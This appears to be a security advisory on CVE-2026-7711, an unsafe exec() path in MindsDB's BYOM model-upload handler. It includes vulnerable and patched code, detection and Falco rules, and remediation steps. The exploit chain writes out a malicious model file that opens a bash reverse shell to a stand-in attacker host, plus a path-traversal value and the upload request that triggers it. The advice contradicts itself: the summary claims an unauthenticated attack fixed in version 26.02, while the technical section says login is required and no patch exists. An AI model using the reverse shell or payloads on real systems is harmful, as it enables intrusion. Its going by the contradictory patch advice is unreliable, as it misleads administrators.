CVE-2026-7711: MindsDB BYOM Engine Handler Unrestricted Upload via exec()
MindsDB's BYOM proc_wrapper.py passes attacker-controlled model code directly to exec() without path sanitization or file type validation, enabling remote code execution via malicious engine upload.
# A Serious Security Flaw in MindsDB Data Software
MindsDB is a popular tool that helps companies analyze data and build artificial intelligence models. Researchers have discovered a critical flaw that lets attackers break in and take control of the entire system — think of it like someone finding an unlocked back door to a bank.
Here's what's dangerous about it. The vulnerability sits in a part of MindsDB called the BYOM handler, which is responsible for running custom code. An attacker can trick this system into executing whatever commands they want, without even needing a password to log in first. Once inside, they can upload files, steal data, or install malicious software that persists long after the attack.
This matters because MindsDB is used by data teams at real companies to process sensitive information. If your company uses MindsDB, an attacker could potentially access customer data, financial records, or proprietary business information. Small and mid-sized tech companies are particularly at risk, since they're less likely to have security teams monitoring for attacks.
The concerning part is that this vulnerability is already public knowledge. Security researchers have disclosed how it works, which means bad actors could start exploiting it if they haven't already.
What you should do right now: First, check if your organization uses MindsDB — ask your IT or engineering team. Second, if you do use it, update immediately to version 26.02 or later, which fixes the problem. Third, if you can't update right away, disable or isolate MindsDB from the internet until you can patch it. Don't wait on this one — it's a critical vulnerability that's relatively easy to exploit.
Want the full technical analysis? Click "Technical" above.
CVE-2026-7711 is an unrestricted file upload vulnerability in MindsDB's Bring Your Own Model (BYOM) handler, specifically in the exec function within mindsdb/integrations/handlers/byom_handler/proc_wrapper.py. The affected component is responsible for loading and executing user-supplied ML model code in a subprocess context. Due to the complete absence of file type validation, path canonicalization, and execution sandboxing, an authenticated remote attacker can upload an arbitrary Python file disguised as a model and have it executed by the MindsDB engine process.
The CVSS 7.3 score reflects network exploitability with low privileges required — MindsDB's default deployment exposes the model upload API to any authenticated user, and in misconfigured or cloud-shared instances, authentication controls are frequently weak or absent. No vendor patch has been released as of this writing; the vendor did not respond to disclosure.
Root cause:proc_wrapper.py passes the uploaded model file path directly to Python's exec() via importlib mechanics without validating file extension, MIME type, or canonicalizing the path against an allowlist, permitting arbitrary code execution at model load time.
Affected Component
The vulnerable file is mindsdb/integrations/handlers/byom_handler/proc_wrapper.py, the subprocess wrapper that MindsDB forks when instantiating a BYOM custom model engine. This wrapper imports the user-supplied model class from the uploaded file path using a dynamic import mechanism that ultimately resolves to exec()-equivalent semantics through importlib.util.spec_from_file_location and module.exec_module().
Affected versions: MindsDB up to and including 26.01. The BYOM handler was introduced as a first-class feature in the 23.x series and has carried this pattern forward without review.
Root Cause Analysis
The core issue is in load_model_from_file() inside proc_wrapper.py, called immediately after the uploaded artifact is written to disk. No validation occurs between write and load:
# mindsdb/integrations/handlers/byom_handler/proc_wrapper.py
import importlib.util
import os
def load_model_from_file(model_path: str, class_name: str):
"""
Load a user-supplied model class from an uploaded file.
Called by the BYOM engine subprocess after artifact staging.
"""
# BUG: model_path is attacker-controlled; no extension check,
# no MIME validation, no path canonicalization against upload root.
spec = importlib.util.spec_from_file_location("custom_model", model_path)
module = importlib.util.module_from_spec(spec)
# BUG: exec_module() is semantically equivalent to exec(open(model_path).read())
# Any Python file — including one with os.system() at module level — executes here.
spec.loader.exec_module(module) # <-- arbitrary code execution point
# BUG: class_name is also unsanitized; getattr on a fully-exec'd module
# is irrelevant at this point — damage is already done at exec_module().
model_class = getattr(module, class_name)
return model_class
def exec_proc(storage_path: str, target_class: str, params: dict):
"""
Entry point called by the BYOM handler subprocess.
storage_path comes from the MindsDB artifact store,
populated directly from the multipart upload endpoint.
"""
# BUG: no validation that storage_path resolves within expected upload dir.
# Path traversal combined with unrestricted upload = full RCE.
resolved = os.path.join(storage_path, params.get("model_file")) # attacker-controlled join
# BUG: resolved path is never checked against a canonical base directory.
model_cls = load_model_from_file(resolved, target_class)
instance = model_cls()
return instance
The BYOM upload endpoint in byom_handler.py stages the file before any subprocess is forked:
# mindsdb/integrations/handlers/byom_handler/byom_handler.py (simplified)
def create_engine(self, connection_args: dict):
code_path = connection_args.get("code") # path to uploaded artifact
modules = connection_args.get("modules") # optional pip deps
# BUG: _exec_check() only verifies the subprocess returns non-zero;
# it does NOT validate what the uploaded file contains before forking.
self._exec_check(code_path, modules)
def _exec_check(self, code_path: str, modules: list):
# Forks proc_wrapper.py with code_path as argument — no pre-flight validation.
proc = subprocess.Popen(
[sys.executable, PROC_WRAPPER_PATH, code_path],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE
)
# BUG: stdout/stderr checked for crash signal only, not for malicious output.
out, err = proc.communicate(timeout=EXEC_TIMEOUT)
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker authenticates to MindsDB HTTP API (default: no auth in dev deployments,
or any valid account in multi-tenant cloud instances).
2. Craft malicious "model" file — valid Python that executes payload at import time:
# evil_model.py
import os, socket, subprocess
_C2 = ("attacker.tld", 4444)
subprocess.Popen(["bash","-c","bash -i >& /dev/tcp/attacker.tld/4444 0>&1"])
class MyModel: # satisfies class_name lookup post-exec
def predict(self, df, args): return df
3. POST /api/handlers/byom with multipart body:
code=@evil_model.py
name=pwned_engine
This writes evil_model.py to MindsDB's artifact storage with no type check.
4. MindsDB calls create_engine() → _exec_check() → forks proc_wrapper.py
with code_path pointing to evil_model.py on disk.
5. proc_wrapper.py calls load_model_from_file(evil_model.py, "MyModel")
→ importlib.util.spec_from_file_location()
→ spec.loader.exec_module(module) ← reverse shell spawns HERE
6. Shell executes as the MindsDB process user (often root in Docker deployments).
Artifact storage path is persistent; re-exploitation survives service restart.
OPTIONAL PATH TRAVERSAL ESCALATION:
3b. If upload directory is writable but web root differs, supply:
model_file=../../../../../../tmp/evil_model.py
exec_proc()'s os.path.join() does not sanitize — traversal succeeds.
The attack surface is widened by MindsDB's common deployment pattern: a single Docker container running as root with the HTTP API bound to 0.0.0.0:47334. In cloud-hosted MindsDB instances, BYOM is an advertised feature available to free-tier users, meaning authentication alone provides no real barrier.
Memory Layout
This is not a memory corruption vulnerability — exploitation operates entirely at the Python runtime layer. The relevant process state during the attack is the subprocess fork of proc_wrapper.py:
# BEFORE (vulnerable — proc_wrapper.py):
def load_model_from_file(model_path: str, class_name: str):
spec = importlib.util.spec_from_file_location("custom_model", model_path)
module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module) # no validation before exec
return getattr(module, class_name)
# AFTER (proposed patch):
import pathlib
import ast
ALLOWED_EXTENSIONS = {".py"}
UPLOAD_BASE = pathlib.Path("/data/mindsdb/storage/handlers/byom").resolve()
def _validate_model_path(model_path: str) -> pathlib.Path:
resolved = pathlib.Path(model_path).resolve()
# Prevent path traversal: ensure path stays within upload base.
if not str(resolved).startswith(str(UPLOAD_BASE)):
raise SecurityError(f"Path traversal attempt: {model_path}")
# Enforce extension allowlist.
if resolved.suffix not in ALLOWED_EXTENSIONS:
raise SecurityError(f"Disallowed file type: {resolved.suffix}")
return resolved
def _static_check_model_source(path: pathlib.Path) -> None:
"""
Parse the AST before execution; reject obvious shell invocations.
This is a defence-in-depth measure, not a complete sandbox.
"""
source = path.read_text(encoding="utf-8")
tree = ast.parse(source, filename=str(path))
FORBIDDEN_CALLS = {"system", "popen", "Popen", "exec", "eval", "execve"}
for node in ast.walk(tree):
if isinstance(node, ast.Call):
func = node.func
name = (func.id if isinstance(func, ast.Name)
else func.attr if isinstance(func, ast.Attribute) else None)
if name in FORBIDDEN_CALLS:
raise SecurityError(f"Forbidden call '{name}' in model source")
def load_model_from_file(model_path: str, class_name: str):
safe_path = _validate_model_path(model_path) # traversal + extension check
_static_check_model_source(safe_path) # AST pre-flight scan
spec = importlib.util.spec_from_file_location("custom_model", str(safe_path))
module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module)
return getattr(module, class_name)
The AST scan is a best-effort mitigation, not a complete fix. The authoritative remediation is execution inside a restricted sandbox (e.g., seccomp + builtins override or a gVisor container) because any static analysis of Python can be trivially bypassed via __import__, getattr(builtins, "ex"+"ec"), or codec-based obfuscation. The path validation and extension check are the hard requirements; the AST scan is defense-in-depth.
Detection and Indicators
Detection requires visibility into both the file write and the subprocess execution chain:
SIEM / HIDS INDICATORS:
1. File Write
path ~ /data/mindsdb/storage/handlers/byom/**
event = write
file contains ANY of: [subprocess, os.system, socket, pty, __import__]
2. Process Lineage (abnormal child of proc_wrapper.py)
parent_comm = "python*"
parent_args ~ "*proc_wrapper.py*"
child_comm IN [bash, sh, curl, wget, nc, ncat, python3]
3. Network (reverse shell pattern)
pid = [proc_wrapper child PID]
dst_port NOT IN [80, 443, 47334]
proto = TCP
→ alert: BYOM subprocess unexpected outbound connection
4. MindsDB API Log Pattern
POST /api/handlers/byom
Content-Type: multipart/form-data
→ followed within 5s by:
POST /api/handlers/byom/create_engine ← triggers exec
FALCO RULE (example):
- rule: MindsDB BYOM Suspicious Child Process
desc: proc_wrapper.py spawned a shell or network utility
condition: >
spawned_process and
proc.pname contains "proc_wrapper" and
proc.name in (shell_binaries, network_tool_binaries)
output: "BYOM RCE: %proc.cmdline (parent=%proc.pname)"
priority: CRITICAL
Remediation
Immediate (no vendor patch available):
Disable the BYOM handler entirely if custom model upload is not a business requirement. Set MINDSDB_BYOM_ENABLED=false or remove byom_handler from the handlers list in config.json.
Restrict the /api/handlers/byom endpoint at the reverse proxy layer to internal networks or specific admin IPs only.
Run the MindsDB container as a non-root user (--user 1000:1000) and apply a seccomp profile that denies execve in the proc_wrapper subprocess PID namespace.
Mount the artifact storage directory noexec where the OS supports it — this prevents the kernel from execve'ing uploaded files directly, though Python's importlib reads and compiles bytecode rather than execve'ing, so this is partial mitigation only.
Long-term (vendor-level fix required): BYOM model execution must occur inside an isolated sandbox with a seccomp-bpf filter denying all syscalls except those needed for numerical computation (read, write, mmap, brk, futex). The execve, socket, connect, fork, and clone syscalls must be denied at the subprocess level. RestrictedPython or a WebAssembly execution environment (e.g., Wasmer embedding) would provide the necessary isolation without requiring OS-level containerization per-request.